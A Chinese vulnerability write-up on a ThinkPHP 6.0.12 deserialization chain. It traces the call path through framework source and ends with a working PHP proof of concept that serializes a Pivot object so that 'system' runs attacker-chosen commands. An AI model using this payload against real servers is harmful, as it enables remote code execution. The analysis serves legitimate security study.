Thinkphp最新版本漏洞分析

2023-11-01

环境

Thinkphp6.0.12LTS(目前最新版本);

PHP7.3.4。

安装

composer create-project topthink/think tp6

测试代码

image.png

漏洞分析

漏洞起点不是__desturct就是__wakeup全局搜索下,起点在vendor\topthink\think-orm\src\Model.php

只要把this->lazySave设为True,就会调用了save方法。

image.png

【一>所有资源获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

跟进save方法,漏洞方法是updateData,但需要绕过①且让②为True,①调用isEmpty方法。

image.png

public function save(array $data = [], string $sequence = null): bool
    {
        // 数据对象赋值
        $this->setAttrs($data);
        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }
        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

跟进isEmpty方法,只要$this->data不为空就行。

image.png

$this->trigger方法默认返回就不是false,跟进updateData方法。漏洞方法是checkAllowFields默认就会触发。

image.png

protected function updateData(): bool
    {
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }
        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }
            return true;
        }
        if ($this->autoWriteTimestamp && $this->updateTime) {
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp();
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }
        // 检查允许字段
        $allowFields = $this->checkAllowFields();

跟进checkAllowFields方法,漏洞方法是db,默认也是会触发该方法,继续跟进。

image.png

protected function checkAllowFields(): array
    {
        // 检测字段
        if (empty($this->field)) {
            if (!empty($this->schema)) {
                $this->field = array_keys(array_merge($this->schema, $this->jsonType));
            } else {
                $query = $this->db();

跟进db方法,存在$this->table . $this->suffix字符串拼接,可以触发__toString魔术方法,把$this->table设为触发__toString类即可。

image.png

public function db($scope = []): Query
    {
        /** @var Query $query */
        $query = self::$db->connect($this->connection)
            ->name($this->name . $this->suffix)
            ->pk($this->pk);
        if (!empty($this->table)) {
            $query->table($this->table . $this->suffix);
        }

全局搜索__toString方法,最后选择vendor\topthink\think-orm\src\model\concern\Conversion.php类中的__toString方法。

跟进__toString方法,调用了toJson方法。

image.png

跟进toJson方法,调用了toArray方法,然后以JSON格式返回。

image.png

跟进toArray方法,漏洞方法是getAtrr默认就会触发,只需把$data设为数组就行。

image.png

public function toArray(): array
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]          = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }
        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]         = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);

跟进getAttr方法,漏洞方法是getValue,但传入getValue方法中的$value是由getData方法得到的。

image.png

public function getAttr(string $name)
    {
        try {
            $relation = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $relation = $this->isRelationAttr($name);
            $value    = null;
        }

        return $this->getValue($name, $value, $relation);

跟进getData方法,$this->data可控,$fieldName来自getRealFieldName方法。

image.png

跟进getRealFieldName方法,默认直接返回传入的参数。所以$fieldName也可控,也就是传入getValue$value参数可控。

image.png

跟进getValue方法,在Thinkphp6.0.8触发的漏洞点在①处,但在Thinkphp6.0.12时已经对传入的$closure进行判断。此次漏洞方法的getJsonValue方法。但需要经过两个if判断,$this->withAttr$this->json都可控,可顺利进入getJsonValue方法。
image.png

protected function getValue(string $name, $value, $relation = false)
    {
        // 检测属性获取器
        $fieldName = $this->getRealFieldName($name);

        if (array_key_exists($fieldName, $this->get)) {
            return $this->get[$fieldName];
        }

        $method = 'get' . Str::studly($name) . 'Attr';
        if (isset($this->withAttr[$fieldName])) {
            if ($relation) {
                $value = $this->getRelationValue($relation);
            }
            if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
                $value = $this->getJsonValue($fieldName, $value);

跟进getJsonValue方法,触发漏洞的点在$closure($value[$key], $value)只要令$this->jsonAssocTrue就行。

$closure$value都可控。

image.png

protected function getJsonValue($name, $value)
    {
        if (is_null($value)) {
            return $value;
        }

        foreach ($this->withAttr[$name] as $key => $closure) {
            if ($this->jsonAssoc) {
                $value[$key] = $closure($value[$key], $value);

完整POP链条

image.png

POC编写

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
            $this->lazySave = True;
            $this->data = ['whoami' => ['dir']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace{
    echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

利用

image.png

image.png

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Thinkphp最新版本漏洞分析 的相关文章

  • B站快捷键-切换上一集,切换下一集

    切换上一集 快捷键 切换下一集 快捷键
  • Linux平台卸载MySQL总结

    如何在Linux下卸载MySQL数据库呢 下面总结 整理了一下Linux平台下卸载MySQL的方法 MySQL的安装主要有三种方式 二进制包安装 Using Generic Binaries RPM包安装 源码安装 对应不同的安装方式 卸载
  • Vue 引入 icon 图标

    安装 npm install vue svg icon save dev 使用 1 阿里巴巴矢量图 选择需要的字体修改参数 选择SVG下载 2 IcoMoon 点击右上角 icoMoon App 点击左上角 Import Icons 选择下

随机推荐

  • 【FICO系列】SAP 创建会计凭证(FB01)的BAPI

    公众号 SAP Technical 本文作者 matinal 原文出处 http www cnblogs com SAPmatinal 原文链接 FICO系列 SAP 创建会计凭证 FB01 的BAPI 前言部分 大家可以关注我的公众号 公
  • TCP+UDP通信实验

    一 实验要求 1 基于服务器的客户端相互直接通信 具体要求包括 2 Server支持多客户访问 3 C与S之间使用TCP连接 4 C与C之间直接通信 不是通过S传递 5 C与C之间直接通信既可以使用TCP 也可以使用UDP 6 可以使用So
  • 放弃手中Docker拥抱下一代容器管理工具Podman

    关注 WeiyiGeek 公众号 将我设为 特别关注 每天带你玩转网络安全运维 应用开发 物联网IOT学习 0x00 基础介绍 前生今世 0x01 安装试用 Ubuntu Podman 命令 容器管理工具 0x02 小试牛刀 1 Podma
  • 进程和线程的深入理解

    进程和线程的深入理解 下面是抽象类比 单CPU 一台单核处理器计算机 一个车间 多CPU 一台多核处理器计算机 一座工厂 进程 一个车间 一个进程 即一个运行的程序 多进程 一座工厂可以同时运行多个车间 CPU和进程 单CPU只能同时运行单
  • XSS、SSRF、CSRF、XXE 漏洞的区别

    XSS 跨站脚本攻击 XSS属于客户端攻击 受害者最终是用户 但特别要注意的是网站管理员也属于用户之一 这就意味着XSS可以进行 服务端 攻击 因为管理员要比普通用户的权限大得多 一般管理员都可以对网站进行文件管理 数据管理等操作 而攻击者
  • CTF赛制介绍&工具介绍

    CTF基本赛制与题型 语言环境的安装 常见工具的简介与安装 什么是CTF CTF Capture The Flag 中文一般译作夺旗赛 在 网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式 CTF起源于1996年DEFCO
  • 解决‘pip‘ 不是内部或外部命令,也不是可运行的程序或批处理文件

    python开发安装第三方库时 很多人选择在cmd终端用命令行pip进行安装 然而有时敲入pip命令会提示 pip 不是内部或外部命令 也不是可运行的程序 或批处理文件 为何会出现此类问题呢 一般都是因为系统环境变量没有配置好 推荐链接 电
  • Educational Codeforces Round 113 (Rated for Div. 2)

    A Balanced Substring 题意 字符串 s 由字符 a 和 b 构成 寻找 s 的子串 s l r 使得子串中字符 a 和 b 的数量相同 输出 l r 思路 范围很小 暴力解决 求出 s 子串 s 0 i 中字符 a 和
  • 线性代数——正交矩阵

    正交矩阵 orthogonal matrix 正交矩阵的定义 正交矩阵性质 1 AT是正交矩阵 2 A的各行是单位向量且两两正交 3 A的各列是单位向量且两两正交 4 A 1或 1 正交矩阵的定义 如果 AAT E E为单位矩阵 AT表示
  • @Autowired的使用:推荐对构造函数进行注释

    在编写代码的时候 使用 Autowired注解是 发现IDE报的一个警告 如下 Spring Team recommends Always use constructor based dependency injection in your
  • 机器学习特征选择:传统互信息、k-nearest neighbor互信息

    目录 传统互信息 Estimating Mutual Information中的的两种基于最近邻的互信息 Mutual Information between Discrete and Continuous Data Sets论文中提到的互
  • C51单片机中常用的头文件

    C51中常用的头文件有51 h 52 h math h intrins h absacc h stdio h stdlib h ctype h 其中51 h 52 h是定义特殊功能寄存器和位寄存器的 math h是定义数学运算的 求方根 正
  • Keil 仿真退出时出现“encountered an improper argument” 解决办法

    keil仿真退出时出现 encountered an improper argument 错误 先取消断点 再按取消仿真按钮
  • C++项目的报错经历及解决之法

    以下是自己在平时创建C 项目遇到的一些问题 记录在此 2021年4月13日 问题集锦 编译环境是VS2019 新建一个C 空项目 1 无法打开头文件xxx h 注 此处的头文件是我通过 添加现有项 所加入项目的 include
  • 安装 node-sass 和 sass-loader 的过程及各 node 版本对应的 node-sass 版本号

    1 node 版本 node sass 版本及 sass loader 版本查看 其一 我的 node 版本查看 在命令行输入查询命令 node v 我的 node 版本为 v14 19 0 其二 我的 node sass 版本查看 nod
  • vue项目中对某个区域绘制水印

    首先看一下效果 其实原理很简单 就是使用canvas画成图 然后设置div的背景即可 这里参考了其他人思路又按照我自己的需求 封装了一个插件 可以直接在项目中使用 这里可以对某一个单独的区域设置水印 use strict const wat
  • 项目文档怎么写

    项目文档怎么写 1 怎么写项目开发的文档 软件开发中文档的编写是一个不可缺少的环节 常见的如 需求分析 概要分析 数据库设计 等 在 软件人 的阵营里向来存在两种观点 注重文档还是关心代码 我这里写一个 用户信息模块的概要设计文档 只列举主
  • 高德地图 scale

    AMap Scale 插件 比例尺插件 位于地图右下角 用户可控制其显示与隐藏 代码示例 mapObj plugin AMap Scale function var scale new AMap Scale mapObj addContro
  • 华硕笔记本(GTX 1060显卡)安装Ubuntu16.04+Nvidia显卡驱动+Cuda8.0+cudnn6.0+ROS+Opencv3.2+Caffe+Tensorflow

    华硕笔记本 GTX 1060显卡 安装Ubuntu16 04 Nvidia显卡驱动 Cuda8 0 cudnn6 0 ROS Opencv3 2 Caffe Tensorflow 1 安装Ubuntu16 04 Ubuntu16 04的安装
  • Thinkphp最新版本漏洞分析

    环境 Thinkphp6 0 12LTS 目前最新版本 PHP7 3 4 安装 composer create project topthink think tp6 测试代码 漏洞分析 漏洞起点不是 desturct就是 wakeup全局搜